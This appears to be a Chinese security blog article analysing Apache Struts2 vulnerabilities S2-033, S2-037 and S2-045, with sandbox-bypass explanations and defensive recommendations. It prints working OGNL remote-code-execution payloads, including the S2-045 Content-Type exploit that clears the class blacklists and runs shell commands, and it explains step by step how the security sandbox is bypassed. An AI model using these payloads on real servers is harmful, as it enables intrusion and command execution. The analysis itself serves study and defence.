浅谈struts2漏洞防护与绕过-中
字数 1657 2025-08-27 12:33:37
Struts2漏洞分析与防护绕过技术详解
1. S2-033与S2-037漏洞分析
1.1 漏洞背景与区别
S2-033和S2-037是Struts2框架中的两个重要漏洞:
- S2-033:需要
allowDynamicMethodCalls设置为TRUE才能利用 - S2-037:不需要
allowDynamicMethodCalls设置,直接可利用
这两个漏洞的产生点相似,主要区别在于动态方法调用的配置要求。
1.2 REST相关背景
漏洞涉及REST风格的API设计:
- REST描述的是client和server在网络中的交互形式
- 实用的RESTful API设计中,URL只使用名词指定资源,原则上不使用动词
- "资源"是REST架构的核心处理对象
1.3 漏洞利用POC
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#xx=123,
#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),
#wr=#context[#parameters.obj[0]].getWriter(),
#wr.print(#rs),
#wr.close(),
#xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=open /Applications/Calculator.app
1.4 漏洞触发点分析
漏洞位于RestActionMapper.class中的getMapping方法:
public ActionMapping getMapping(HttpServletRequest request, ConfigurationManager configManager) {
ActionMapping mapping = new ActionMapping();
String uri = RequestUtils.getUri(request);
uri = this.dropExtension(uri, mapping);
if (uri == null) {
return null;
} else {
this.parseNameAndNamespace(uri, mapping, configManager);
this.handleSpecialParameters(request, mapping);
if (mapping.getName() == null) {
return null;
} else {
this.handleDynamicMethodInvocation(mapping, mapping.getName());
关键点:
handleDynamicMethodInvocation方法没有任何过滤- 当
allowDynamicMethodCalls=True时,payload会被设置为method - S2-037不需要
allowDynamicMethodCalls限制,直接设置method
2. Struts2安全防护机制
2.1 安全配置参数
从Struts 2.3.20开始,配置文件新增了安全参数:
<constant name="struts.excludedClasses"
value="java.lang.Object, java.lang.Runtime, java.lang.System, java.lang.Class, java.lang.ClassLoader, java.lang.Shutdown, ognl.OgnlContext, ognl.MemberAccess, ognl.ClassResolver, ognl.TypeConverter, com.opensymphony.xwork2.ActionContext"/>
<constant name="struts.excludedPackageNamePatterns"
value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\"/>
这些配置用于:
- 严格验证并排除不安全对象类型
- 过滤struts标签中的静态方法调用
3. 沙箱绕过技术
3.1 S2-033沙箱绕过原理
POC中通过覆盖_memberAccess来绕过限制:
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
关键点:
- 使用
DEFAULT_MEMBER_ACCESS覆盖SecurityMemberAccess DEFAULT_MEMBER_ACCESS是SecurityMemberAccess的父类实例SecurityMemberAccess类实现了许多安全操作,覆盖后这些限制被解除
3.2 参数获取方式
POC中使用#parameters获取参数的原因:
- 引号在传递中会被转义,导致OGNL语法错误
- 使用
#parameters可以避免这个问题
Struts2中的变量作用域:
- Application:应用作用域变量
- Session:会话作用域变量
- Root/value stack:存储所有action变量
- Request:请求作用域变量
- Parameters:请求参数
- Attributes:存储在page、request、session和application作用域中的属性
4. S2-045漏洞分析
4.1 漏洞原理
S2-045漏洞主要特点:
- 在上传时使用Jakarta进行解析
- 当content-type错误时会进入异常处理流程
- 异常处理过程中注入OGNL表达式
4.2 漏洞利用POC
Content-Type: %{(#nike='multipart/form-data').((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=96954656263154098574003468
4.3 防护机制与绕过
Struts2在2.3.30+/2.5.2+版本中的防护改进:
- 将
MemberAccess和DefaultMemberAccess加入黑名单 - 使用set存储黑名单类
绕过方法:
- 利用
container获取ognlUtil实例 - 使用
clear()方法清除黑名单set - 使用
setMemberAccess覆盖访问控制 - 关键点在于使用
getInstance()进行单例实例化
5. 防御建议
- 及时升级到最新Struts2版本
- 严格限制动态方法调用(
allowDynamicMethodCalls) - 完善
struts.excludedClasses和struts.excludedPackageNamePatterns配置 - 对用户输入进行严格过滤和验证
- 禁用不必要的Struts2插件
- 监控异常content-type请求